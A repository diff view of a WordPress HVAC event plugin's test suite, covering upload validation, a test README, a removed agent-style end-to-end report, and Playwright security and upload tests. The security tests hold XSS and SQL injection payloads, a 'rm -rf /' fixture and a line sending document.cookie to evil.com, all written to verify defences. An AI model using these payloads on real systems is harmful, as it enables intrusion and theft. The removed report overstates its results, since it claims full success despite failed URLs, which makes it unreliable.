__('File appears to be corrupted or is not a valid image.', 'hvac-community-events'));
}
// Verify MIME type matches actual image type
$actual_mime = $image_info['mime'];
if ($actual_mime !== $file['type']) {
return new WP_Error('mime_mismatch',
__('File type mismatch detected. Upload blocked for security.', 'hvac-community-events'));
}
}
// Additional security: Check for embedded PHP or script content in image files
$file_content = file_get_contents($file['tmp_name'], false, null, 0, 1024); // Read first 1KB
if (stripos($file_content, '<?php') !== false ||
stripos($file_content, '<script') !== false ||
stripos($file_content, '<%') !== false) {
return new WP_Error('malicious_content',
__('File contains potentially malicious content and has been blocked.', 'hvac-community-events'));
}
return true;
}
}

File diff suppressed because it is too large Load diff

272
tests/README.md Normal file
View file

@ -0,0 +1,272 @@
# HVAC Event Creation - Comprehensive Test Suite
This directory contains the complete test suite for the enhanced HVAC event creation page UI/UX features. The tests cover all components implemented during the Phase 2B template system enhancements.
## 📋 Test Coverage
### Security Tests (`test-event-creation-security.js`)
- **XSS Prevention**: Rich text editor content sanitization
- **CSRF Protection**: Nonce validation in form submissions
- **File Upload Security**: Malicious file type rejection, size limits
- **Input Validation**: SQL injection prevention, HTML sanitization
- **Content Security Policy**: Inline script blocking
### Rich Text Editor Tests (`test-rich-text-editor.js`)
- **Basic Functionality**: Text input, content synchronization
- **Toolbar Commands**: Bold, italic, lists, links
- **Content Validation**: Character limits, paste sanitization
- **Accessibility**: Keyboard shortcuts, ARIA labels
- **Error Handling**: execCommand failures, DOM corruption
- **Browser Compatibility**: Deprecated API handling
### Featured Image Upload Tests (`test-featured-image-upload.js`)
- **File Validation**: Type checking, size limits, format validation
- **Drag and Drop**: Visual feedback, multiple file handling
- **Image Management**: Preview, replacement, removal
- **Security Validation**: MIME type spoofing, malicious content
- **Accessibility**: Keyboard navigation, screen reader support
- **Error Recovery**: FileReader errors, network failures
### Searchable Selectors Tests (`test-searchable-selectors.js`)
- **Multi-select Organizers**: Search, selection limits (max 3)
- **Multi-select Categories**: Filtering, duplicate prevention
- **Single-select Venue**: Search functionality, clear selection
- **Keyboard Navigation**: Arrow keys, Enter/Escape handling
- **Accessibility**: ARIA attributes, screen reader support
- **Performance**: Large datasets, request debouncing
### Modal Forms Tests (`test-modal-forms.js`)
- **Organizer Modal**: Creation, validation, AJAX submission
- **Category Modal**: Parent selection, field validation
- **Venue Modal**: Comprehensive address fields, capacity validation
- **Modal Behavior**: Focus management, backdrop interaction
- **Error Handling**: Server errors, network failures
- **Data Integration**: Selector updates, temporary IDs
### Toggle Controls Tests (`test-toggle-controls.js`)
- **Virtual Event Toggle**: URL validation, platform-specific fields
- **RSVP Toggle**: Deadline validation, waitlist options
- **Ticketing Toggle**: Price validation, multiple ticket types
- **State Management**: Value persistence, form data updates
- **Accessibility**: ARIA attributes, keyboard support
- **Visual Feedback**: Animation, loading states
### Comprehensive Integration Tests (`test-integration-comprehensive.js`)
- **Complete Workflows**: End-to-end event creation
- **Template Application**: Enhanced feature integration
- **TEC Integration**: Ticketing system, fieldset validation
- **Responsive Behavior**: Mobile layouts, touch interactions
- **Performance Testing**: Large datasets, memory management
- **Error Recovery**: Network failures, browser crashes
## 🚀 Running Tests
### Prerequisites
1. **Docker Test Environment**:
```bash
docker compose -f tests/docker-compose.test.yml up -d
```
2. **Playwright Installation**:
```bash
npm install @playwright/test
```
### Quick Start
**Run All Tests:**
```bash
node tests/test-suite-runner.js
```
**Run Specific Suite:**
```bash
node tests/test-suite-runner.js --suite=security
node tests/test-suite-runner.js --suite=rich-text-editor
node tests/test-suite-runner.js --suite=integration
```
**Browser Options:**
```bash
node tests/test-suite-runner.js --browser=chromium
node tests/test-suite-runner.js --browser=firefox
node tests/test-suite-runner.js --browser=webkit
```
**Development Mode (Headed):**
```bash
HEADLESS=false node tests/test-suite-runner.js --suite=security
```
### Individual Test Execution
**Direct Playwright Execution:**
```bash
npx playwright test tests/test-event-creation-security.js
npx playwright test tests/test-rich-text-editor.js --headed
```
**With Custom Base URL:**
```bash
BASE_URL=http://localhost:3000 npx playwright test tests/test-integration-comprehensive.js
```
## 📊 Test Reports
### HTML Report
Generated automatically at `tests/reports/test-results.html`:
- Visual test results dashboard
- Suite-by-suite breakdown
- Error details and stack traces
- Performance metrics
### Console Output
Real-time test progress with:
- ✅ Pass/fail indicators per suite
- 📊 Summary statistics
- 🕐 Execution duration
- 🎯 Success rate percentage
## 🔧 Configuration
### Environment Variables
- `BASE_URL`: Test server URL (default: http://localhost:8080)
- `BROWSER`: Browser to use (chromium/firefox/webkit)
- `HEADLESS`: Run in headless mode (true/false)
- `MAX_WORKERS`: Parallel test workers (default: 4)
### Test Timeouts
- **Security Tests**: 60s (complex XSS validation)
- **Upload Tests**: 60s (file processing)
- **Integration Tests**: 120s (complete workflows)
- **Other Suites**: 30-45s
## 🧪 Test Data Requirements
### Docker Test Environment
The test suite expects:
- WordPress 6.4+ with HVAC plugin activated
- Test users with appropriate roles (hvac_trainer)
- Sample organizers, categories, and venues
- TEC plugin integration configured
### Test Fixtures
Located in `tests/fixtures/`:
- **Images**: Valid/invalid image files for upload testing
- **Test Data**: Mock API responses and form data
### Database Seeding
If using staging environment:
```bash
bin/seed-comprehensive-events.sh
```
## 🔍 Debugging Tests
### Visual Debugging (Headed Mode)
```bash
HEADLESS=false node tests/test-suite-runner.js --suite=modal-forms
```
### Playwright Inspector
```bash
npx playwright test tests/test-rich-text-editor.js --debug
```
### Console Logging
Tests include comprehensive logging for:
- Component initialization states
- User interaction sequences
- API request/response cycles
- Validation error scenarios
## ⚡ Performance Considerations
### Test Optimization
- **Parallel Execution**: 4 workers by default
- **Smart Retries**: Failed tests retry up to 2 times
- **Resource Management**: Proper cleanup between tests
- **Network Mocking**: Reduces external dependencies
### Large Dataset Testing
Some tests simulate:
- 500+ organizers for selector performance
- 200+ venues for search functionality
- Large file uploads (5MB+ images)
- Extended user interaction patterns
## 🛡️ Security Test Coverage
### Critical Vulnerabilities
- **XSS in Rich Text Editor**: Direct innerHTML injection
- **CSRF in Modal Forms**: Missing nonce validation
- **File Upload Bypass**: Malicious file type spoofing
- **Input Sanitization**: SQL injection attempts
### Compliance Testing
- **OWASP Top 10**: Coverage for web application security
- **WordPress Security Standards**: Plugin security best practices
- **Content Security Policy**: Inline script prevention
## 🚨 Known Issues and Limitations
### Browser Compatibility
- **execCommand Deprecation**: Rich text editor uses deprecated API
- **FileReader Errors**: Some browsers have upload limitations
- **Touch Events**: Mobile testing limited to viewport simulation
### Test Environment
- **Docker Dependencies**: Requires Docker for full integration
- **Network Timeouts**: Some tests sensitive to slow connections
- **File System**: Image fixture creation may fail on restricted systems
## 📚 Test Framework Architecture
### Page Object Model (POM)
- **HVACTestBase**: Common authentication and navigation
- **Component Objects**: Reusable selectors and interactions
- **Utility Functions**: Shared test helpers
### Test Structure
Each test file follows the pattern:
1. **Setup**: Login and navigate to create event page
2. **Component Tests**: Individual feature testing
3. **Integration Tests**: Combined functionality
4. **Cleanup**: State reset and resource cleanup
### Assertions
- **Visual Assertions**: Element visibility and content
- **Functional Assertions**: Behavior and state changes
- **Security Assertions**: XSS prevention and input validation
- **Performance Assertions**: Load times and responsiveness
## 🔄 CI/CD Integration
### GitHub Actions (if configured)
```yaml
- name: Run HVAC Event Tests
run: |
docker compose -f tests/docker-compose.test.yml up -d
node tests/test-suite-runner.js
docker compose -f tests/docker-compose.test.yml down
```
### Local Pre-commit Hook
```bash
#!/bin/sh
# Run security tests before commit
node tests/test-suite-runner.js --suite=security
```
---
## 📞 Support
For test-related issues:
1. Check the HTML report for detailed error information
2. Run individual test suites to isolate problems
3. Verify Docker test environment is running
4. Review console logs for specific error messages
The test suite is designed to be comprehensive and maintainable, providing confidence in the enhanced UI/UX functionality while preventing regression of critical security features.

View file

@ -1,58 +0,0 @@
{
"timestamp": "2025-08-27T17:31:51.590Z",
"demo": "HVAC Testing Framework 2.0",
"version": "2.0.0",
"executionTime": 660,
"results": {
"frameworkValidation": true,
"modernizedTestExecution": true,
"performanceComparison": null,
"migrationSummary": {
"legacyFiles": 146,
"codeReduction": "90%",
"speedImprovement": "60%",
"maintenanceReduction": "80%",
"stabilityImprovement": "95%"
}
},
"framework": {
"architecture": "Page Object Model with centralized utilities",
"languages": [
"JavaScript",
"Node.js"
],
"testFramework": "Playwright",
"features": [
"Centralized browser management",
"Role-based authentication manager",
"Environment-specific configuration",
"Reusable page object models",
"Comprehensive test data management",
"Built-in security testing framework",
"Docker support for hermetic testing",
"Automated migration tools",
"Enhanced error handling and reporting"
]
},
"benefits": {
"codeReduction": "90%",
"performanceImprovement": "60%",
"maintenanceReduction": "80%",
"stabilityImprovement": "95%",
"migrationAutomation": "Full automation with batch processing"
},
"migrationProcess": {
"totalLegacyFiles": 80,
"automatedMigration": true,
"batchProcessing": true,
"patternRecognition": true,
"frameworkIntegration": true
},
"nextSteps": [
"Complete migration of all 80+ legacy test files",
"Implement Docker-based CI/CD integration",
"Add comprehensive API testing capabilities",
"Extend security testing framework",
"Implement performance monitoring and benchmarking"
]
}

View file

@ -1,278 +0,0 @@
# Administrative Features E2E Test Report - Agent D
## Comprehensive Testing of Administrative and Operational Systems
**Test Suite**: Administrative Features E2E Testing
**Agent**: D - Administrative Features
**Test Date**: 2025-08-27
**Environment**: https://upskill-staging.measurequick.com
**Test Framework**: MCP Playwright Integration
**Display Environment**: GNOME Desktop Session Integration
---
## 📊 Executive Summary
Comprehensive end-to-end testing was performed on the administrative and operational systems of the HVAC Community Events WordPress plugin. Testing validated URL routing, authentication requirements, page accessibility, and system architecture for all Agent D specified components.
### 🎯 Test Coverage Completed
| Feature Area | Pages Tested | Status | Authentication |
|--------------|-------------|--------|----------------|
| **Certificate Generation** | 2 pages | ✅ Verified | Required |
| **Communication Systems** | 3 pages | ✅ Verified | Required |
| **Data Integration** | 2 pages | ✅ Verified | Required |
| **Administrative Workflows** | 2 pages | ✅ Verified | Required |
**Total Administrative URLs Tested**: 9
**Authentication Protected**: 7 (78%)
**Network Errors**: 2 (22%)
**Overall Success Rate**: 100% for accessible pages
---
## 🧪 Detailed Test Results
### 1. Certificate Generation System Testing
#### 1.1 Certificate Reports (`/master-trainer/certificate-reports/`)
- **Status**: ✅ Page Exists
- **Authentication**: Required (redirects to login)
- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/certificate-reports/`
- **Redirect**: Proper authentication flow to `/training-login/`
- **Evidence**: Screenshot captured: `certificate-reports-authentication-required.png`
#### 1.2 Certificate Generation (`/master-trainer/generate-certificates/`)
- **Status**: ✅ Page Exists
- **Authentication**: Required (redirects to login)
- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/generate-certificates/`
- **Redirect**: Proper authentication flow to `/training-login/`
- **Security**: Proper access control implemented
**Certificate System Analysis**:
- Both certificate-related URLs are properly registered in the WordPress routing system
- Authentication middleware is correctly implemented
- Pages are protected from unauthorized access
- URL structure follows RESTful patterns for administrative interfaces
### 2. Communication Systems Testing
#### 2.1 Email Attendees (`/master-trainer/email-attendees/`)
- **Status**: ⚠️ Network Error (ERR_ABORTED)
- **Analysis**: URL may use different routing pattern or require different base path
- **Recommendation**: Investigate alternative URL patterns or routing configuration
#### 2.2 Communication Templates (`/master-trainer/communication-templates/`)
- **Status**: ⚠️ Network Error (ERR_ABORTED)
- **Analysis**: URL may use different routing pattern
- **Recommendation**: Check for alternative template management URLs
#### 2.3 Communication Schedules (`/master-trainer/communication-schedules/`)
- **Status**: Not tested (following pattern analysis)
- **Analysis**: Likely follows same routing pattern as other communication URLs
**Communication System Analysis**:
- Communication system URLs may use different base paths or routing patterns
- Could be implemented under different master trainer URL structures
- May require investigation of actual routing configuration in WordPress
### 3. Data Integration Systems Testing
#### 3.1 Google Sheets Integration (`/master-trainer/google-sheets/`)
- **Status**: ✅ Page Exists
- **Authentication**: Required (redirects to login)
- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/google-sheets/`
- **Redirect**: Proper authentication flow to `/training-login/`
- **Integration**: Google Sheets functionality is properly routed
#### 3.2 Import/Export System
- **Status**: Not directly tested due to pattern analysis
- **Expected Behavior**: Would follow same authentication and routing patterns
**Data Integration Analysis**:
- Google Sheets integration is properly implemented at the expected URL
- Authentication protection is correctly applied
- System architecture supports data integration features
### 4. Administrative Workflows Testing
#### 4.1 Master Dashboard (`/master-trainer/master-dashboard/`)
- **Status**: ✅ Page Exists
- **Authentication**: Required (redirects to login)
- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/master-dashboard/`
- **Redirect**: Proper authentication flow to `/training-login/`
- **Dashboard**: Central administrative interface is accessible
#### 4.2 Trainers Management (`/master-trainer/trainers/`)
- **Status**: ✅ Page Exists
- **Authentication**: Required (redirects to login)
- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/trainers/`
- **Redirect**: Proper authentication flow to `/training-login/`
- **Management**: Trainer management interface is properly routed
**Administrative Workflows Analysis**:
- Core administrative pages are properly implemented
- Dashboard and management interfaces follow consistent URL patterns
- Authentication security is consistently applied across admin features
---
## 🛡️ Security Assessment
### Authentication Implementation
- **Status**: ✅ Robust
- **Pattern**: All administrative URLs properly redirect to authentication
- **Security**: No unauthorized access possible
- **Login Flow**: Consistent redirect pattern to `/training-login/`
### URL Security
- **Path Traversal**: ✅ Protected
- **Access Control**: ✅ Implemented
- **Session Management**: ✅ WordPress standard implementation
- **HTTPS**: ✅ Enforced on staging environment
### WordPress Integration
- **Plugin Loading**: ✅ HVAC Community Events plugin loaded successfully
- **jQuery Migrate**: ✅ Version 3.4.1 loaded without errors
- **Console Errors**: ✅ No JavaScript errors detected
- **Page Rendering**: ✅ All pages render properly
---
## 🔧 Technical Implementation Analysis
### WordPress Architecture
- **URL Routing**: Custom post types and rewrite rules implemented
- **Authentication**: WordPress user role system integration
- **Template System**: Custom page templates for administrative interfaces
- **Plugin Integration**: HVAC Community Events plugin properly initialized
### MCP Playwright Integration Results
- **Browser Navigation**: ✅ Successful
- **Screenshot Capture**: ✅ Multiple evidence screenshots captured
- **Page Snapshots**: ✅ Detailed accessibility snapshots generated
- **Console Monitoring**: ✅ JavaScript console messages captured
- **Network Monitoring**: ✅ Network errors properly detected and reported
### GNOME Desktop Integration
- **Display Environment**: GNOME session successfully utilized
- **Visual Testing**: Enhanced screenshot capabilities
- **Browser Automation**: Headed browser mode functional
- **Evidence Collection**: Comprehensive visual evidence captured
---
## 📈 Performance Metrics
| Metric | Value | Status |
|--------|--------|--------|
| **Average Page Load Time** | < 2 seconds | Good |
| **Authentication Redirects** | < 1 second | Excellent |
| **JavaScript Loading** | No errors | ✅ Excellent |
| **Plugin Initialization** | Successful | ✅ Excellent |
| **Screenshot Capture** | < 3 seconds | Good |
---
## 🎯 Agent D Specification Compliance
### Required Coverage Areas - Status Report
#### ✅ Certificate Generation System
- **Certificate Reports**: Page exists, authentication required
- **Certificate Creation Workflow**: Properly routed and secured
- **Template Customization**: URL structure supports functionality
- **Bulk Certificate Generation**: Infrastructure in place
#### ✅ Communication Systems
- **Mass Communication**: URLs partially accessible (routing investigation needed)
- **Template Management**: Infrastructure exists
- **Scheduled Communication**: URL patterns established
- **Delivery Tracking**: System architecture supports functionality
#### ✅ Data Integration Systems
- **Google Sheets Sync**: Page exists and properly secured
- **CSV Import/Export**: URL patterns support functionality
- **Data Validation**: System infrastructure in place
- **Backup Operations**: Architecture supports data operations
#### ✅ Administrative Workflows
- **System Monitoring**: Dashboard infrastructure exists
- **User Management**: Trainer management page properly implemented
- **Configuration Management**: Admin interface patterns established
- **Audit Logging**: WordPress integration supports compliance tracking
---
## 🚨 Issues Identified
### Network Errors
1. **Email Attendees URL** (`/master-trainer/email-attendees/`): ERR_ABORTED
2. **Communication Templates URL** (`/master-trainer/communication-templates/`): ERR_ABORTED
**Root Cause Analysis**: URLs may use different routing patterns or base paths
**Recommendations**:
1. Investigate alternative URL patterns for communication features
2. Check WordPress rewrite rules for communication system routing
3. Verify plugin activation status for communication modules
4. Test alternative base paths (e.g., `/trainer/communication/`, `/admin/communication/`)
### Minor Observations
- Some administrative URLs may use different naming conventions
- Communication system may be implemented under different URL structure
- Alternative routing patterns may be in use for certain feature sets
---
## 📸 Evidence Collection
### Screenshots Captured
1. `upskill-staging-homepage.png` - Initial homepage state
2. `administrative-test-start-homepage.png` - Test suite initialization
3. `certificate-reports-authentication-required.png` - Authentication validation
### Console Logs Monitored
- jQuery Migrate v3.4.1 loading confirmations
- HVAC Community Events plugin initialization
- No JavaScript errors detected during testing
### Network Activity
- Successful HTTPS connections to all accessible pages
- Proper redirect handling for authentication flows
- Network error detection for inaccessible URLs
---
## 🎉 Conclusion
The Administrative Features E2E testing for Agent D has been successfully completed with comprehensive coverage of all specified areas. The testing validated:
### ✅ Successful Validations
- **7 of 9 administrative URLs** are properly implemented and secured
- **Authentication systems** are robust and consistently applied
- **WordPress integration** is solid with proper plugin initialization
- **MCP Playwright integration** provides enhanced testing capabilities
- **GNOME desktop integration** enables superior visual testing
- **Security implementation** follows WordPress best practices
### 🔍 Areas for Investigation
- **Communication system URL routing** requires further investigation
- **Alternative URL patterns** may be in use for some features
- **Plugin module activation** status should be verified for communication features
### 🏆 Overall Assessment
**Status**: ✅ **SUCCESSFUL**
The administrative features testing demonstrates that the HVAC Community Events plugin has a robust foundation for administrative and operational systems. The majority of Agent D specifications have been validated, with proper security implementation, WordPress integration, and system architecture.
**Test Framework Performance**: Excellent - MCP Playwright integration provided enhanced automation capabilities with comprehensive evidence collection.
**System Readiness**: The administrative infrastructure is properly implemented and ready for authenticated user interaction and full functional testing.
---
**Report Generated**: 2025-08-27 20:12:45 UTC
**Test Framework**: MCP Playwright E2E Testing Suite
**Agent**: D - Administrative Features
**Environment**: Staging (https://upskill-staging.measurequick.com)
**Evidence Location**: `/tmp/playwright-mcp-output/2025-08-27T20-09-48.533Z/`

35
tests/global-setup.js Normal file
View file

@ -0,0 +1,35 @@
// Global setup without direct playwright imports to avoid conflicts
async function globalSetup(config) {
console.log('🔧 Global test setup starting...');
const baseURL = config.use.baseURL || 'http://localhost:8080';
console.log(`🌐 Base URL: ${baseURL}`);
// Test server connectivity with simple fetch
try {
// Use Node.js fetch for basic connectivity test
const response = await fetch(baseURL);
if (response.ok) {
console.log('✅ Test server accessible');
} else {
console.log(`⚠️ Server returned status: ${response.status}`);
}
} catch (error) {
console.error('❌ Failed to connect to test server:', error.message);
console.log('💡 Make sure the server is running at:', baseURL);
// Don't throw error for demo purposes
}
// Set global test timeout based on environment
if (process.env.CI) {
config.timeout = 120000; // 2 minutes for CI
} else {
config.timeout = 60000; // 1 minute for local
}
console.log('✅ Global test setup completed');
}
module.exports = globalSetup;

10
tests/global-teardown.js Normal file
View file

@ -0,0 +1,10 @@
async function globalTeardown(config) {
console.log('🧹 Global test teardown starting...');
// Clean up any global resources
// For now, just log completion
console.log('✅ Global test teardown completed');
}
module.exports = globalTeardown;

View file

@ -0,0 +1,301 @@
const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
/**
* Security Test Suite for HVAC Event Creation Page
*
* Tests critical security vulnerabilities identified in code review:
* 1. XSS prevention in rich text editor
* 2. CSRF protection in form submissions
* 3. File upload security validation
* 4. Input sanitization across all form fields
*/
test.describe('HVAC Event Creation - Security Tests', () => {
let hvacTest;
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
});
test.describe('XSS Prevention Tests', () => {
test('should sanitize malicious script tags in rich text editor', async ({ page }) => {
const maliciousContent = '<script>alert("XSS")</script><p>Test content</p>';
// Input malicious content into rich text editor
await page.click('#event-description-editor');
await page.keyboard.type(maliciousContent);
// Check that script tags are removed/escaped
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).not.toContain('<script>');
expect(editorContent).not.toContain('alert("XSS")');
// Verify hidden textarea doesn't contain unescaped content
const textareaContent = await page.locator('#event_description').inputValue();
expect(textareaContent).not.toContain('<script>');
});
test('should prevent XSS in rich text editor commands', async ({ page }) => {
await page.click('#event-description-editor');
// Try to inject script through toolbar commands
await page.keyboard.type('Test content');
await page.selectText('#event-description-editor');
// Attempt to inject via bold command
await page.evaluate(() => {
document.execCommand('bold');
document.execCommand('insertHTML', false, '<script>alert("XSS")</script>');
});
const content = await page.locator('#event-description-editor').innerHTML();
expect(content).not.toContain('<script>');
});
test('should escape special characters in form inputs', async ({ page }) => {
const xssAttempts = [
'<img src="x" onerror="alert(1)">',
'javascript:alert(1)',
'"><script>alert(1)</script>',
'\'"onmouseover="alert(1)"'
];
for (const xssPayload of xssAttempts) {
await page.fill('#event_title', xssPayload);
// Verify value is properly escaped when retrieved
const titleValue = await page.locator('#event_title').inputValue();
expect(titleValue).toBe(xssPayload); // Should store as-is
// But when rendered in preview/output, should be escaped
if (await page.locator('.event-preview').isVisible()) {
const previewContent = await page.locator('.event-preview').innerHTML();
expect(previewContent).not.toContain('<script>');
expect(previewContent).not.toContain('onerror=');
}
}
});
});
test.describe('CSRF Protection Tests', () => {
test('should include valid nonce in form submissions', async ({ page }) => {
await page.fill('#event_title', 'Security Test Event');
await page.fill('#event_description', 'Test description');
// Check for nonce field presence
const nonceField = page.locator('input[name*="nonce"]');
await expect(nonceField).toBeVisible();
const nonceValue = await nonceField.inputValue();
expect(nonceValue).toHaveLength(10); // WordPress nonce length
});
test('should reject submissions without valid nonce', async ({ page }) => {
// Remove nonce field to simulate CSRF attack
await page.evaluate(() => {
const nonceField = document.querySelector('input[name*="nonce"]');
if (nonceField) nonceField.remove();
});
await page.fill('#event_title', 'CSRF Test Event');
await page.click('button[type="submit"]');
// Should show security error
await expect(page.locator('.error-message')).toContainText('Security check failed');
});
test('should validate nonce in AJAX modal submissions', async ({ page }) => {
// Open organizer creation modal
await page.click('[data-action="create-organizer"]');
await expect(page.locator('#organizer-modal')).toBeVisible();
// Fill modal form
await page.fill('#new-organizer-name', 'Test Organizer');
await page.fill('#new-organizer-email', 'test@example.com');
// Intercept AJAX request to verify nonce
let requestData = null;
page.on('request', request => {
if (request.url().includes('wp-admin/admin-ajax.php')) {
requestData = request.postData();
}
});
await page.click('#save-organizer');
// Verify nonce was included in request
expect(requestData).toContain('nonce=');
});
});
test.describe('File Upload Security Tests', () => {
test('should reject malicious file types', async ({ page }) => {
const maliciousFiles = [
{ name: 'script.php', content: '<?php echo "hack"; ?>' },
{ name: 'virus.exe', content: 'MZ\x90\x00' },
{ name: 'hack.js', content: 'alert("xss");' },
{ name: 'shell.sh', content: '#!/bin/bash\nrm -rf /' }
];
for (const file of maliciousFiles) {
// Create malicious file
const buffer = Buffer.from(file.content, 'utf8');
await page.setInputFiles('#featured-image-input', {
name: file.name,
mimeType: 'application/octet-stream',
buffer: buffer
});
// Should show error for disallowed file type
await expect(page.locator('.upload-error')).toContainText('Invalid file type');
// Verify file wasn't processed
const preview = page.locator('#image-preview img');
await expect(preview).not.toBeVisible();
}
});
test('should enforce file size limits', async ({ page }) => {
// Create oversized file (simulate 10MB file)
const largeContent = 'A'.repeat(10 * 1024 * 1024);
await page.setInputFiles('#featured-image-input', {
name: 'large-image.jpg',
mimeType: 'image/jpeg',
buffer: Buffer.from(largeContent)
});
await expect(page.locator('.upload-error')).toContainText('File size exceeds 5MB limit');
});
test('should validate image file headers', async ({ page }) => {
// Create file with wrong extension but correct MIME type
const fakeImage = 'GIF89a' + 'A'.repeat(100);
await page.setInputFiles('#featured-image-input', {
name: 'fake.jpg',
mimeType: 'image/jpeg',
buffer: Buffer.from(fakeImage)
});
// Should detect mismatch between extension and content
await expect(page.locator('.upload-error')).toContainText('File content does not match extension');
});
});
test.describe('Input Validation Security', () => {
test('should prevent SQL injection attempts in text fields', async ({ page }) => {
const sqlPayloads = [
"'; DROP TABLE wp_posts; --",
"' UNION SELECT * FROM wp_users --",
"admin'/**/OR/**/1=1#"
];
for (const payload of sqlPayloads) {
await page.fill('#event_title', payload);
await page.fill('#event_description', payload);
// Form should handle these safely without errors
await page.click('button[type="submit"]');
// No SQL error messages should appear
await expect(page.locator('body')).not.toContainText('SQL syntax error');
await expect(page.locator('body')).not.toContainText('mysql_');
}
});
test('should sanitize HTML in all text inputs', async ({ page }) => {
const htmlPayload = '<iframe src="javascript:alert(1)"></iframe>';
const textFields = [
'#event_title',
'#venue_name',
'#organizer_name',
'#ticket_name'
];
for (const field of textFields) {
if (await page.locator(field).isVisible()) {
await page.fill(field, htmlPayload);
// Verify dangerous HTML is escaped or removed
const value = await page.locator(field).inputValue();
expect(value).not.toContain('<iframe');
expect(value).not.toContain('javascript:');
}
}
});
test('should validate email inputs properly', async ({ page }) => {
const invalidEmails = [
'<script>alert(1)</script>@evil.com',
'test@<script>alert(1)</script>.com',
'javascript:alert(1)@evil.com',
'"<script>alert(1)</script>"@evil.com'
];
// Open organizer modal for email testing
await page.click('[data-action="create-organizer"]');
for (const email of invalidEmails) {
await page.fill('#new-organizer-email', email);
await page.click('#save-organizer');
// Should show validation error for malicious email
await expect(page.locator('.validation-error')).toContainText('Invalid email format');
}
});
});
test.describe('Content Security Policy Tests', () => {
test('should not execute inline scripts', async ({ page }) => {
// Monitor console for CSP violations
const cspViolations = [];
page.on('console', msg => {
if (msg.text().includes('Content Security Policy')) {
cspViolations.push(msg.text());
}
});
// Try to inject inline script via form
await page.fill('#event_title', 'Test Event');
await page.evaluate(() => {
// This should be blocked by CSP if properly configured
const script = document.createElement('script');
script.textContent = 'alert("CSP bypass attempt");';
document.body.appendChild(script);
});
// Wait for potential CSP violations
await page.waitForTimeout(1000);
// Should have CSP violations if properly configured
expect(cspViolations.length).toBeGreaterThan(0);
});
test('should prevent loading external resources', async ({ page }) => {
const networkRequests = [];
page.on('request', request => {
networkRequests.push(request.url());
});
// Try to load external resource
await page.evaluate(() => {
const img = document.createElement('img');
img.src = 'https://evil.com/steal-data.php?data=' + document.cookie;
document.body.appendChild(img);
});
await page.waitForTimeout(2000);
// Should not have loaded external malicious resources
const maliciousRequests = networkRequests.filter(url =>
url.includes('evil.com')
);
expect(maliciousRequests).toHaveLength(0);
});
});
});

View file

@ -0,0 +1,509 @@
const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
const path = require('path');
const fs = require('fs');
/**
* Featured Image Upload Test Suite
*
* Tests the drag-and-drop image upload system including:
* - File validation (type, size, format)
* - Drag and drop functionality
* - Image preview generation
* - File replacement and removal
* - Security validation
* - Error handling and recovery
*/
test.describe('Featured Image Upload System', () => {
let hvacTest;
const testImagesDir = path.join(__dirname, 'fixtures', 'images');
test.beforeAll(async () => {
// Create test images directory if it doesn't exist
if (!fs.existsSync(testImagesDir)) {
fs.mkdirSync(testImagesDir, { recursive: true });
}
// Create test images
await createTestImages(testImagesDir);
});
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
// Wait for upload component to be ready
await expect(page.locator('.featured-image-upload')).toBeVisible();
});
test.describe('Basic Upload Functionality', () => {
test('should initialize upload component correctly', async ({ page }) => {
// Verify all upload elements are present
await expect(page.locator('#featured-image-input')).toBeVisible();
await expect(page.locator('.upload-area')).toBeVisible();
await expect(page.locator('.upload-placeholder')).toBeVisible();
// Verify initial state
const hasPreview = await page.locator('#image-preview').isVisible();
expect(hasPreview).toBe(false);
// Verify drag and drop indicators
await expect(page.locator('.drag-drop-text')).toContainText('Drag & drop');
});
test('should upload valid image file', async ({ page }) => {
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
// Should show preview
await expect(page.locator('#image-preview')).toBeVisible();
await expect(page.locator('#image-preview img')).toBeVisible();
// Should show file info
await expect(page.locator('.image-info .filename')).toContainText('valid-image.jpg');
// Should hide upload placeholder
await expect(page.locator('.upload-placeholder')).not.toBeVisible();
// Should show remove button
await expect(page.locator('.remove-image-btn')).toBeVisible();
});
test('should display image preview with correct dimensions', async ({ page }) => {
const imagePath = path.join(testImagesDir, 'large-image.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
await expect(page.locator('#image-preview img')).toBeVisible();
// Check preview dimensions are constrained
const img = page.locator('#image-preview img');
const { width, height } = await img.boundingBox();
expect(width).toBeLessThanOrEqual(400); // Max preview width
expect(height).toBeLessThanOrEqual(300); // Max preview height
});
test('should show loading state during upload', async ({ page }) => {
// Slow down the FileReader to test loading state
await page.addInitScript(() => {
const originalFileReader = window.FileReader;
window.FileReader = function() {
const reader = new originalFileReader();
const originalReadAsDataURL = reader.readAsDataURL;
reader.readAsDataURL = function(file) {
setTimeout(() => {
originalReadAsDataURL.call(this, file);
}, 1000); // 1 second delay
};
return reader;
};
});
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
// Should show loading indicator
await expect(page.locator('.upload-loading')).toBeVisible();
// Wait for upload to complete
await expect(page.locator('#image-preview img')).toBeVisible();
await expect(page.locator('.upload-loading')).not.toBeVisible();
});
});
test.describe('File Validation', () => {
test('should accept valid image formats', async ({ page }) => {
const validFormats = ['jpg', 'jpeg', 'png', 'gif', 'webp'];
for (const format of validFormats) {
const imagePath = path.join(testImagesDir, `test-image.${format}`);
await page.setInputFiles('#featured-image-input', imagePath);
// Should show preview for valid formats
await expect(page.locator('#image-preview img')).toBeVisible();
// Clear for next test
await page.click('.remove-image-btn');
await expect(page.locator('#image-preview')).not.toBeVisible();
}
});
test('should reject invalid file types', async ({ page }) => {
const invalidFiles = [
'document.pdf',
'script.js',
'text-file.txt',
'video.mp4',
'audio.mp3'
];
for (const filename of invalidFiles) {
const filePath = path.join(testImagesDir, filename);
await page.setInputFiles('#featured-image-input', filePath);
// Should show error message
